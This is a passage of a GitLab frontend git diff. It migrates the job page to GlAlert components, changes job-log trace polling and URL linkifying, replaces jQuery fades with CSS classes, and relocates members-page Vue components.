diff --git a/app/assets/javascripts/jobs/components/job_app.vue b/app/assets/javascripts/jobs/components/job_app.vue
index c6adf2f231f..30093224631 100644
--- a/app/assets/javascripts/jobs/components/job_app.vue
+++ b/app/assets/javascripts/jobs/components/job_app.vue
@@ -1,12 +1,11 @@
<script>
import { throttle, isEmpty } from 'lodash';
import { mapGetters, mapState, mapActions } from 'vuex';
-import { GlLoadingIcon, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon, GlSafeHtmlDirective as SafeHtml, GlAlert } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { isScrolledToBottom } from '~/lib/utils/scroll_utils';
import { polyfillSticky } from '~/lib/utils/sticky';
import CiHeader from '~/vue_shared/components/header_ci_component.vue';
-import Callout from '~/vue_shared/components/callout.vue';
import EmptyState from './empty_state.vue';
import EnvironmentsBlock from './environments_block.vue';
import ErasedBlock from './erased_block.vue';
@@ -22,7 +21,6 @@ export default {
name: 'JobPageApp',
components: {
CiHeader,
- Callout,
EmptyState,
EnvironmentsBlock,
ErasedBlock,
@@ -34,6 +32,7 @@ export default {
Sidebar,
GlLoadingIcon,
SharedRunner: () => import('ee_component/jobs/components/shared_runner_limit_block.vue'),
+ GlAlert,
},
directives: {
SafeHtml,
@@ -223,10 +222,14 @@ export default {
@clickedSidebarButton="toggleSidebar"
/>
</div>
-
- <callout v-if="shouldRenderHeaderCallout">
+ <gl-alert
+ v-if="shouldRenderHeaderCallout"
+ variant="danger"
+ class="gl-mt-3"
+ :dismissible="false"
+ >
<div v-safe-html="job.callout_message"></div>
- </callout>
+ </gl-alert>
</header>
<!-- EO Header Section -->
diff --git a/app/assets/javascripts/jobs/components/log/line.vue b/app/assets/javascripts/jobs/components/log/line.vue
index affaddcdee2..87af387ca91 100644
--- a/app/assets/javascripts/jobs/components/log/line.vue
+++ b/app/assets/javascripts/jobs/components/log/line.vue
@@ -18,46 +18,33 @@ export default {
render(h, { props }) {
const { line, path } = props;
- let chars;
- if (gon?.features?.ciJobLineLinks) {
- chars = line.content.map(content => {
- return h(
- 'span',
- {
- class: ['gl-white-space-pre-wrap', content.style],
- },
- // Simple "tokenization": Split text in chunks of text
- // which alternate between text and urls.
- content.text.split(linkRegex).map(chunk => {
- // Return normal string for non-links
- if (!chunk.match(linkRegex)) {
- return chunk;
- }
- return h(
- 'a',
- {
- attrs: {
- href: chunk,
- class: 'gl-reset-color! gl-text-decoration-underline',
- rel: 'nofollow noopener noreferrer', // eslint-disable-line @gitlab/require-i18n-strings
- },
+ const chars = line.content.map(content => {
+ return h(
+ 'span',
+ {
+ class: ['gl-white-space-pre-wrap', content.style],
+ },
+ // Simple "tokenization": Split text in chunks of text
+ // which alternate between text and urls.
+ content.text.split(linkRegex).map(chunk => {
+ // Return normal string for non-links
+ if (!chunk.match(linkRegex)) {
+ return chunk;
+ }
+ return h(
+ 'a',
+ {
+ attrs: {
+ href: chunk,
+ class: 'gl-reset-color! gl-text-decoration-underline',
+ rel: 'nofollow noopener noreferrer', // eslint-disable-line @gitlab/require-i18n-strings
},
- chunk,
- );
- }),
- );
- });
- } else {
- chars = line.content.map(content => {
- return h(
- 'span',
- {
- class: ['gl-white-space-pre-wrap', content.style],
- },
- content.text,
- );
- });
- }
+ },
+ chunk,
+ );
+ }),
+ );
+ });
return h('div', { class: 'js-line log-line' }, [
h(LineNumber, {
diff --git a/app/assets/javascripts/jobs/components/unmet_prerequisites_block.vue b/app/assets/javascripts/jobs/components/unmet_prerequisites_block.vue
index 633561c879e..c9747ca9f02 100644
--- a/app/assets/javascripts/jobs/components/unmet_prerequisites_block.vue
+++ b/app/assets/javascripts/jobs/components/unmet_prerequisites_block.vue
@@ -1,11 +1,19 @@
<script>
-import { GlLink } from '@gitlab/ui';
+import { GlLink, GlAlert } from '@gitlab/ui';
+import { __, s__ } from '~/locale';
/**
* Renders Unmet Prerequisites block for job's view.
*/
export default {
+ i18n: {
+ failMessage: s__(
+ 'Job|This job failed because the necessary resources were not successfully created.',
+ ),
+ moreInformation: __('More information'),
+ },
components: {
GlLink,
+ GlAlert,
},
props: {
helpPath: {
@@ -16,15 +24,10 @@ export default {
};
</script>
<template>
- <div class="bs-callout bs-callout-danger">
- <p class="js-failed-unmet-prerequisites gl-mb-0">
- {{
- s__(`Job|This job failed because the necessary resources were not successfully created.`)
- }}
-
- <gl-link :href="helpPath" class="js-help-path">
- <strong> {{ __('More information') }} </strong>
- </gl-link>
- </p>
- </div>
+ <gl-alert variant="danger" class="gl-mt-3" :dismissible="false">
+ {{ $options.i18n.failMessage }}
+ <gl-link :href="helpPath">
+ {{ $options.i18n.moreInformation }}
+ </gl-link>
+ </gl-alert>
</template>
diff --git a/app/assets/javascripts/jobs/mixins/delayed_job_mixin.js b/app/assets/javascripts/jobs/mixins/delayed_job_mixin.js
index 8c7fb785a61..7b17dc7f693 100644
--- a/app/assets/javascripts/jobs/mixins/delayed_job_mixin.js
+++ b/app/assets/javascripts/jobs/mixins/delayed_job_mixin.js
@@ -20,7 +20,10 @@ export default {
computed: {
isDelayedJob() {
- return this.job && this.job.scheduled;
+ return this.job?.scheduled || this.job?.scheduledAt;
+ },
+ scheduledTime() {
+ return this.job.scheduled_at || this.job.scheduledAt;
},
},
@@ -43,7 +46,7 @@ export default {
},
updateRemainingTime() {
- const remainingMilliseconds = calculateRemainingMilliseconds(this.job.scheduled_at);
+ const remainingMilliseconds = calculateRemainingMilliseconds(this.scheduledTime);
this.remainingTime = formatTime(remainingMilliseconds);
},
},
diff --git a/app/assets/javascripts/jobs/store/actions.js b/app/assets/javascripts/jobs/store/actions.js
index 1e4b5e986db..cac9dc06284 100644
--- a/app/assets/javascripts/jobs/store/actions.js
+++ b/app/assets/javascripts/jobs/store/actions.js
@@ -13,6 +13,7 @@ import {
scrollDown,
scrollUp,
} from '~/lib/utils/scroll_utils';
+import httpStatusCodes from '~/lib/utils/http_status';
export const init = ({ dispatch }, { endpoint, logState, pagePath }) => {
dispatch('setJobEndpoint', endpoint);
@@ -20,8 +21,7 @@ export const init = ({ dispatch }, { endpoint, logState, pagePath }) => {
logState,
pagePath,
});
-
- return Promise.all([dispatch('fetchJob'), dispatch('fetchTrace')]);
+ dispatch('fetchJob');
};
export const setJobEndpoint = ({ commit }, endpoint) => commit(types.SET_JOB_ENDPOINT, endpoint);
@@ -39,6 +39,7 @@ export const toggleSidebar = ({ dispatch, state }) => {
};
let eTagPoll;
+let isTraceReadyForRender;
export const clearEtagPoll = () => {
eTagPoll = null;
@@ -70,7 +71,14 @@ export const fetchJob = ({ state, dispatch }) => {
});
if (!Visibility.hidden()) {
- eTagPoll.makeRequest();
+ // eslint-disable-next-line promise/catch-or-return
+ eTagPoll.makeRequest().then(() => {
+ // if a job is canceled we still need to dispatch
+ // fetchTrace to get the trace so we check for has_trace
+ if (state.job.started || state.job.has_trace) {
+ dispatch('fetchTrace');
+ }
+ });
} else {
axios
.get(state.jobEndpoint)
@@ -80,9 +88,15 @@ export const fetchJob = ({ state, dispatch }) => {
Visibility.change(() => {
if (!Visibility.hidden()) {
+ // This check is needed to ensure the loading icon
+ // is not shown for a finished job during a visibility change
+ if (!isTraceReadyForRender && state.job.started) {
+ dispatch('startPollingTrace');
+ }
dispatch('restartPolling');
} else {
dispatch('stopPolling');
+ dispatch('stopPollingTrace');
}
});
};
@@ -163,6 +177,8 @@ export const fetchTrace = ({ dispatch, state }) =>
params: { state: state.traceState },
})
.then(({ data }) => {
+ isTraceReadyForRender = data.complete;
+
dispatch('toggleScrollisInBottom', isScrolledToBottom());
dispatch('receiveTraceSuccess', data);
@@ -172,7 +188,11 @@ export const fetchTrace = ({ dispatch, state }) =>
dispatch('startPollingTrace');
}
})
- .catch(() => dispatch('receiveTraceError'));
+ .catch(e =>
+ e.response.status === httpStatusCodes.FORBIDDEN
+ ? dispatch('receiveTraceUnauthorizedError')
+ : dispatch('receiveTraceError'),
+ );
export const startPollingTrace = ({ dispatch, commit }) => {
const traceTimeout = setTimeout(() => {
@@ -194,6 +214,10 @@ export const receiveTraceError = ({ dispatch }) => {
dispatch('stopPollingTrace');
flash(__('An error occurred while fetching the job log.'));
};
+export const receiveTraceUnauthorizedError = ({ dispatch }) => {
+ dispatch('stopPollingTrace');
+ flash(__('The current user is not authorized to access the job log.'));
+};
/**
* When the user clicks a collapsible line in the job
* log, we commit a mutation to update the state
@@ -234,7 +258,7 @@ export const receiveJobsForStageError = ({ commit }) => {
flash(__('An error occurred while fetching the jobs.'));
};
-export const triggerManualJob = ({ state }, variables) => {
+export const triggerManualJob = ({ state, dispatch }, variables) => {
const parsedVariables = variables.map(variable => {
const copyVar = { ...variable };
delete copyVar.id;
@@ -245,5 +269,6 @@ export const triggerManualJob = ({ state }, variables) => {
.post(state.job.status.action.path, {
job_variables_attributes: parsedVariables,
})
+ .then(() => dispatch('fetchTrace'))
.catch(() => flash(__('An error occurred while triggering the job.')));
};
diff --git a/app/assets/javascripts/jobs/store/mutations.js b/app/assets/javascripts/jobs/store/mutations.js
index 924b811d0d6..dea53f715a7 100644
--- a/app/assets/javascripts/jobs/store/mutations.js
+++ b/app/assets/javascripts/jobs/store/mutations.js
@@ -49,6 +49,7 @@ export default {
[types.SET_TRACE_TIMEOUT](state, id) {
state.traceTimeout = id;
+ state.isTraceComplete = false;
},
/**
diff --git a/app/assets/javascripts/jobs/utils.js b/app/assets/javascripts/jobs/utils.js
index 28a125b2b8f..122f23a5bb5 100644
--- a/app/assets/javascripts/jobs/utils.js
+++ b/app/assets/javascripts/jobs/utils.js
@@ -1,4 +1,12 @@
-// capture anything starting with http:// or https://
-// up until a disallowed character or whitespace
-export const linkRegex = /(https?:\/\/[^"<>\\^`{|}\s]+)/g;
+/**
+ * capture anything starting with http:// or https://
+ * https?:\/\/
+ *
+ * up until a disallowed character or whitespace
+ * [^"<>\\^`{|}\s]+
+ *
+ * and a disallowed character or whitespace, including non-ending chars .,:;!?
+ * [^"<>\\^`{|}\s.,:;!?]
+ */
+export const linkRegex = /(https?:\/\/[^"<>\\^`{|}\s]+[^"<>\\^`{|}\s.,:;!?])/g;
export default { linkRegex };
diff --git a/app/assets/javascripts/labels_select.js b/app/assets/javascripts/labels_select.js
index 8bbd4300c96..ac5aa24d5d8 100644
--- a/app/assets/javascripts/labels_select.js
+++ b/app/assets/javascripts/labels_select.js
@@ -45,8 +45,7 @@ export default class LabelsSelect {
const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon span');
const $value = $block.find('.value');
const $dropdownMenu = $dropdown.parent().find('.dropdown-menu');
- // eslint-disable-next-line no-jquery/no-fade
- const $loading = $block.find('.block-loading').fadeOut();
+ const $loading = $block.find('.block-loading').addClass('gl-display-none');
const fieldName = $dropdown.data('fieldName');
let initialSelected = $selectbox
.find(`input[name="${$dropdown.data('fieldName')}"]`)
@@ -83,15 +82,13 @@ export default class LabelsSelect {
if (!selected.length) {
data[abilityName].label_ids = [''];
}
- // eslint-disable-next-line no-jquery/no-fade
- $loading.removeClass('hidden').fadeIn();
+ $loading.removeClass('gl-display-none');
$dropdown.trigger('loading.gl.dropdown');
axios
.put(issueUpdateURL, data)
.then(({ data }) => {
let template;
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
$dropdown.trigger('loaded.gl.dropdown');
$selectbox.hide();
data.issueUpdateURL = issueUpdateURL;
@@ -340,9 +337,8 @@ export default class LabelsSelect {
const { $el, e, isMarking } = clickEvent;
const label = clickEvent.selectedObj;
- const fadeOutLoader = () => {
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ const hideLoader = () => {
+ $loading.addClass('gl-display-none');
};
const page = $('body').attr('data-page');
@@ -403,8 +399,7 @@ export default class LabelsSelect {
boardsStore.detail.issue.labels = labels;
}
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeIn();
+ $loading.removeClass('gl-display-none');
const oldLabels = boardsStore.detail.issue.labels;
boardsStore.detail.issue
@@ -420,8 +415,8 @@ export default class LabelsSelect {
.removeClass('is-active');
}
})
- .then(fadeOutLoader)
- .catch(fadeOutLoader);
+ .then(hideLoader)
+ .catch(hideLoader);
} else if (handleClick) {
e.preventDefault();
handleClick(label);
diff --git a/app/assets/javascripts/layout_nav.js b/app/assets/javascripts/layout_nav.js
index 4d2955a8d3d..ab83f1ecc14 100644
--- a/app/assets/javascripts/layout_nav.js
+++ b/app/assets/javascripts/layout_nav.js
@@ -1,6 +1,7 @@
import $ from 'jquery';
import ContextualSidebar from './contextual_sidebar';
import initFlyOutNav from './fly_out_nav';
+import { setNotification } from './whats_new/utils/notification';
function hideEndFade($scrollingTabs) {
$scrollingTabs.each(function scrollTabsLoop() {
@@ -14,25 +15,17 @@ function hideEndFade($scrollingTabs) {
function initDeferred() {
$(document).trigger('init.scrolling-tabs');
- const whatsNewTriggerEl = document.querySelector('.js-whats-new-trigger');
- if (whatsNewTriggerEl) {
- const storageKey = whatsNewTriggerEl.getAttribute('data-storage-key');
+ const appEl = document.getElementById('whats-new-app');
+ if (!appEl) return;
- $('.header-help').on('show.bs.dropdown', () => {
- const displayNotification = JSON.parse(localStorage.getItem(storageKey));
- if (displayNotification === false) {
- $('.js-whats-new-notification-count').remove();
- }
- });
-
- whatsNewTriggerEl.addEventListener('click', () => {
- import(/* webpackChunkName: 'whatsNewApp' */ '~/whats_new')
- .then(({ default: initWhatsNew }) => {
- initWhatsNew();
- })
- .catch(() => {});
- });
- }
+ setNotification(appEl);
+ document.querySelector('.js-whats-new-trigger').addEventListener('click', () => {
+ import(/* webpackChunkName: 'whatsNewApp' */ '~/whats_new')
+ .then(({ default: initWhatsNew }) => {
+ initWhatsNew(appEl);
+ })
+ .catch(() => {});
+ });
}
export default function initLayoutNav() {
diff --git a/app/assets/javascripts/lib/utils/common_utils.js b/app/assets/javascripts/lib/utils/common_utils.js
index 42a5de68cfa..f88a0433535 100644
--- a/app/assets/javascripts/lib/utils/common_utils.js
+++ b/app/assets/javascripts/lib/utils/common_utils.js
@@ -218,23 +218,46 @@ export const isMetaKey = e => e.metaKey || e.ctrlKey || e.altKey || e.shiftKey;
export const isMetaClick = e => e.metaKey || e.ctrlKey || e.which === 2;
export const contentTop = () => {
- const perfBar = $('#js-peek').outerHeight() || 0;
- const mrTabsHeight = $('.merge-request-tabs').outerHeight() || 0;
- const headerHeight = $('.navbar-gitlab').outerHeight() || 0;
- const diffFilesChanged = $('.js-diff-files-changed').outerHeight() || 0;
const isDesktop = breakpointInstance.isDesktop();
- const diffFileTitleBar =
- (isDesktop && $('.diff-file .file-title-flex-parent:visible').outerHeight()) || 0;
- const compareVersionsHeaderHeight = (isDesktop && $('.mr-version-controls').outerHeight()) || 0;
+ const heightCalculators = [
+ () => $('#js-peek').outerHeight(),
+ () => $('.navbar-gitlab').outerHeight(),
+ ({ desktop }) => {
+ const container = document.querySelector('.line-resolve-all-container');
+ let size = 0;
+
+ if (!desktop && container) {
+ size = container.offsetHeight;
+ }
- return (
- perfBar +
- mrTabsHeight +
- headerHeight +
- diffFilesChanged +
- diffFileTitleBar +
- compareVersionsHeaderHeight
- );
+ return size;
+ },
+ () => $('.merge-request-tabs').outerHeight(),
+ () => $('.js-diff-files-changed').outerHeight(),
+ ({ desktop }) => {
+ const diffsTabIsActive = window.mrTabs?.currentAction === 'diffs';
+ let size;
+
+ if (desktop && diffsTabIsActive) {
+ size = $('.diff-file .file-title-flex-parent:visible').outerHeight();
+ }
+
+ return size;
+ },
+ ({ desktop }) => {
+ let size;
+
+ if (desktop) {
+ size = $('.mr-version-controls').outerHeight();
+ }
+
+ return size;
+ },
+ ];
+
+ return heightCalculators.reduce((totalHeight, calculator) => {
+ return totalHeight + (calculator({ desktop: isDesktop }) || 0);
+ }, 0);
};
export const scrollToElement = (element, options = {}) => {
diff --git a/app/assets/javascripts/lib/utils/dom_utils.js b/app/assets/javascripts/lib/utils/dom_utils.js
index 7bba7ba2f45..2f19a0c9b26 100644
--- a/app/assets/javascripts/lib/utils/dom_utils.js
+++ b/app/assets/javascripts/lib/utils/dom_utils.js
@@ -1,6 +1,14 @@
import { has } from 'lodash';
import { isInIssuePage, isInMRPage, isInEpicPage } from './common_utils';
+/**
+ * Checks whether an element's content exceeds the element's width.
+ *
+ * @param element DOM element to check
+ */
+export const hasHorizontalOverflow = element =>
+ Boolean(element && element.scrollWidth > element.offsetWidth);
+
export const addClassIfElementExists = (element, className) => {
if (element) {
element.classList.add(className);
diff --git a/app/assets/javascripts/lib/utils/keycodes.js b/app/assets/javascripts/lib/utils/keycodes.js
index 618266f7a09..6f5cd7460f8 100644
--- a/app/assets/javascripts/lib/utils/keycodes.js
+++ b/app/assets/javascripts/lib/utils/keycodes.js
@@ -2,6 +2,7 @@
// See: https://gitlab.com/gitlab-org/gitlab/-/issues/216102
export const BACKSPACE_KEY_CODE = 8;
+export const TAB_KEY_CODE = 9;
export const ENTER_KEY_CODE = 13;
export const ESC_KEY_CODE = 27;
export const UP_KEY_CODE = 38;
diff --git a/app/assets/javascripts/lib/utils/scroll_utils.js b/app/assets/javascripts/lib/utils/scroll_utils.js
index b4da1e16f08..01e43fd3b93 100644
--- a/app/assets/javascripts/lib/utils/scroll_utils.js
+++ b/app/assets/javascripts/lib/utils/scroll_utils.js
@@ -49,5 +49,3 @@ export const toggleDisableButton = ($button, disable) => {
if (disable && $button.prop('disabled')) return;
$button.prop('disabled', disable);
};
-
-export default {};
diff --git a/app/assets/javascripts/lib/utils/text_markdown.js b/app/assets/javascripts/lib/utils/text_markdown.js
index dfb86787788..c711c0bd163 100644
--- a/app/assets/javascripts/lib/utils/text_markdown.js
+++ b/app/assets/javascripts/lib/utils/text_markdown.js
@@ -339,6 +339,7 @@ export function addMarkdownListeners(form) {
Shortcuts.initMarkdownEditorShortcuts($(this), updateTextForToolbarBtn);
});
+ // eslint-disable-next-line @gitlab/no-global-event-off
const $allToolbarBtns = $('.js-md', form)
.off('click')
.on('click', function() {
@@ -351,6 +352,7 @@ export function addMarkdownListeners(form) {
}
export function addEditorMarkdownListeners(editor) {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.js-md')
.off('click')
.on('click', e => {
@@ -376,5 +378,6 @@ export function removeMarkdownListeners(form) {
Shortcuts.removeMarkdownEditorShortcuts($(this));
});
+ // eslint-disable-next-line @gitlab/no-global-event-off
return $('.js-md', form).off('click');
}
diff --git a/app/assets/javascripts/lib/utils/text_utility.js b/app/assets/javascripts/lib/utils/text_utility.js
index a81ca3f211f..c398874db24 100644
--- a/app/assets/javascripts/lib/utils/text_utility.js
+++ b/app/assets/javascripts/lib/utils/text_utility.js
@@ -411,3 +411,13 @@ export const hasContent = obj => isString(obj) && obj.trim() !== '';
export const isValidSha1Hash = str => {
return /^[0-9a-f]{5,40}$/.test(str);
};
+
+/**
+ * Adds a final newline to the content if it doesn't already exist
+ *
+ * @param {*} content Content
+ * @param {*} endOfLine Type of newline: CRLF='\r\n', LF='\n', CR='\r'
+ */
+export function insertFinalNewline(content, endOfLine = '\n') {
+ return content.slice(-endOfLine.length) !== endOfLine ? `${content}${endOfLine}` : content;
+}
diff --git a/app/assets/javascripts/logs/utils.js b/app/assets/javascripts/logs/utils.js
index 8e537a4025f..880f762e225 100644
--- a/app/assets/javascripts/logs/utils.js
+++ b/app/assets/javascripts/logs/utils.js
@@ -23,5 +23,3 @@ export const getTimeRange = (seconds = 0) => {
};
export const formatDate = timestamp => dateFormat(timestamp, dateFormatMask);
-
-export default {};
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index b404f390a2d..de7648c31b1 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -23,7 +23,6 @@ import { getLocationHash, visitUrl } from './lib/utils/url_utility';
// everything else
import { deprecatedCreateFlash as Flash, removeFlashClickListener } from './flash';
import initTodoToggle from './header';
-import initImporterStatus from './importer_status';
import initLayoutNav from './layout_nav';
import initAlertHandler from './alert_handler';
import './feature_highlight/feature_highlight_options';
@@ -78,6 +77,7 @@ if (process.env.NODE_ENV !== 'production' && gon?.test_env) {
document.addEventListener('beforeunload', () => {
// Unbind scroll events
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(document).off('scroll');
// Close any open tooltips
tooltips.dispose(document.querySelectorAll('.has-tooltip, [data-toggle="tooltip"]'));
@@ -107,7 +107,6 @@ function deferredInitialisation() {
const $body = $('body');
initBreadcrumbs();
- initImporterStatus();
initTodoToggle();
initLogoAnimation();
initUsagePingConsent();
@@ -138,10 +137,9 @@ function deferredInitialisation() {
$('.remove-row').on('ajax:success', function removeRowAjaxSuccessCallback() {
tooltips.dispose(this);
- // eslint-disable-next-line no-jquery/no-fade
$(this)
.closest('li')
- .fadeOut();
+ .addClass('gl-display-none!');
});
$('.js-remove-tr').on('ajax:before', function removeTRAjaxBeforeCallback() {
@@ -149,10 +147,9 @@ function deferredInitialisation() {
});
$('.js-remove-tr').on('ajax:success', function removeTRAjaxSuccessCallback() {
- // eslint-disable-next-line no-jquery/no-fade
$(this)
.closest('tr')
- .fadeOut();
+ .addClass('gl-display-none!');
});
const glTooltipDelay = localStorage.getItem('gl-tooltip-delay');
diff --git a/app/assets/javascripts/maintenance_mode_settings/components/app.vue b/app/assets/javascripts/maintenance_mode_settings/components/app.vue
deleted file mode 100644
index 11d154ed9d1..00000000000
--- a/app/assets/javascripts/maintenance_mode_settings/components/app.vue
+++ /dev/null
@@ -1,44 +0,0 @@
-<script>
-import { GlToggle, GlFormGroup, GlFormTextarea, GlButton } from '@gitlab/ui';
-
-export default {
- name: 'MaintenanceModeSettingsApp',
- components: {
- GlToggle,
- GlFormGroup,
- GlFormTextarea,
- GlButton,
- },
- data() {
- return {
- inMaintenanceMode: false,
- bannerMessage: '',
- };
- },
-};
-</script>
-<template>
- <article>
- <div class="d-flex align-items-center mb-3">
- <gl-toggle v-model="inMaintenanceMode" class="mb-0" />
- <div class="ml-2">
- <p class="mb-0">{{ __('Enable maintenance mode') }}</p>
- <p class="mb-0 text-secondary-500">
- {{
- __('Non-admin users can sign in with read-only access and make read-only API requests.')
- }}
- </p>
- </div>
- </div>
- <gl-form-group label="Banner Message" label-for="maintenanceBannerMessage">
- <gl-form-textarea
- id="maintenanceBannerMessage"
- v-model="bannerMessage"
- :placeholder="__(`GitLab is undergoing maintenance and is operating in a read-only mode.`)"
- />
- </gl-form-group>
- <div class="mt-4">
- <gl-button variant="success" category="primary">{{ __('Save changes') }}</gl-button>
- </div>
- </article>
-</template>
diff --git a/app/assets/javascripts/maintenance_mode_settings/index.js b/app/assets/javascripts/maintenance_mode_settings/index.js
deleted file mode 100644
index 7a80233faf0..00000000000
--- a/app/assets/javascripts/maintenance_mode_settings/index.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import Vue from 'vue';
-import Translate from '~/vue_shared/translate';
-import MaintenanceModeSettingsApp from './components/app.vue';
-
-Vue.use(Translate);
-
-export default () => {
- const el = document.getElementById('js-maintenance-mode-settings');
-
- return new Vue({
- el,
- components: {
- MaintenanceModeSettingsApp,
- },
-
- render(createElement) {
- return createElement('maintenance-mode-settings-app');
- },
- });
-};
diff --git a/app/assets/javascripts/members.js b/app/assets/javascripts/members.js
index 6dd4018f87a..5bd228496da 100644
--- a/app/assets/javascripts/members.js
+++ b/app/assets/javascripts/members.js
@@ -11,9 +11,11 @@ export default class Members {
}
addListeners() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.js-member-update-control')
.off('change')
.on('change', this.formSubmit.bind(this));
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.js-edit-member-form')
.off('ajax:success')
.on('ajax:success', this.formSuccess.bind(this));
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/access_request_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
index 10078d5cd64..10078d5cd64 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/access_request_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/action_button_group.vue b/app/assets/javascripts/members/components/action_buttons/action_button_group.vue
index 8356fdb60b1..8356fdb60b1 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/action_button_group.vue
+++ b/app/assets/javascripts/members/components/action_buttons/action_button_group.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/approve_access_request_button.vue b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
index e8a53ff173d..e8a53ff173d 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/approve_access_request_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/group_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/group_action_buttons.vue
index 2aebfe80db5..2aebfe80db5 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/group_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/group_action_buttons.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/invite_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
index 2b0a75640e2..2b0a75640e2 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/invite_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
diff --git a/app/assets/javascripts/members/components/action_buttons/leave_button.vue b/app/assets/javascripts/members/components/action_buttons/leave_button.vue
new file mode 100644
index 00000000000..443a962e0cf
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_buttons/leave_button.vue
@@ -0,0 +1,40 @@
+<script>
+import { GlButton, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
+import { __ } from '~/locale';
+import LeaveModal from '../modals/leave_modal.vue';
+import { LEAVE_MODAL_ID } from '../../constants';
+
+export default {
+ name: 'LeaveButton',
+ title: __('Leave'),
+ modalId: LEAVE_MODAL_ID,
+ components: {
+ GlButton,
+ LeaveModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-button
+ v-gl-tooltip.hover
+ v-gl-modal="$options.modalId"
+ :title="$options.title"
+ :aria-label="$options.title"
+ icon="leave"
+ variant="danger"
+ />
+ <leave-modal :member="member" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/remove_group_link_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
index 9d89cb40676..9d89cb40676 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/remove_group_link_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/remove_member_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
index b0b7ff4ce9a..b0b7ff4ce9a 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/remove_member_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/resend_invite_button.vue b/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue
index 1cc3fd17e98..1cc3fd17e98 100644
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/resend_invite_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue
diff --git a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
new file mode 100644
index 00000000000..f2bc9c7e876
--- /dev/null
+++ b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
@@ -0,0 +1,70 @@
+<script>
+import ActionButtonGroup from './action_button_group.vue';
+import RemoveMemberButton from './remove_member_button.vue';
+import LeaveButton from './leave_button.vue';
+import { s__, sprintf } from '~/locale';
+
+export default {
+ name: 'UserActionButtons',
+ components: {
+ ActionButtonGroup,
+ RemoveMemberButton,
+ LeaveButton,
+ LdapOverrideButton: () =>
+ import('ee_component/members/components/ldap/ldap_override_button.vue'),
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ message() {
+ const { user, source } = this.member;
+
+ if (user) {
+ return sprintf(
+ s__('Members|Are you sure you want to remove %{usersName} from "%{source}"'),
+ {
+ usersName: user.name,
+ source: source.name,
+ },
+ );
+ }
+
+ return sprintf(
+ s__('Members|Are you sure you want to remove this orphaned member from "%{source}"'),
+ {
+ source: source.name,
+ },
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <action-button-group>
+ <div v-if="permissions.canRemove" class="gl-px-1">
+ <leave-button v-if="isCurrentUser" :member="member" />
+ <remove-member-button
+ v-else
+ :member-id="member.id"
+ :message="message"
+ :title="s__('Member|Remove member')"
+ />
+ </div>
+ <div v-else-if="permissions.canOverride && !member.isOverridden" class="gl-px-1">
+ <ldap-override-button :member="member" />
+ </div>
+ </action-button-group>
+</template>
diff --git a/app/assets/javascripts/members/components/avatars/group_avatar.vue b/app/assets/javascripts/members/components/avatars/group_avatar.vue
new file mode 100644
index 00000000000..3b176bf2b43
--- /dev/null
+++ b/app/assets/javascripts/members/components/avatars/group_avatar.vue
@@ -0,0 +1,34 @@
+<script>
+import { GlAvatarLink, GlAvatarLabeled } from '@gitlab/ui';
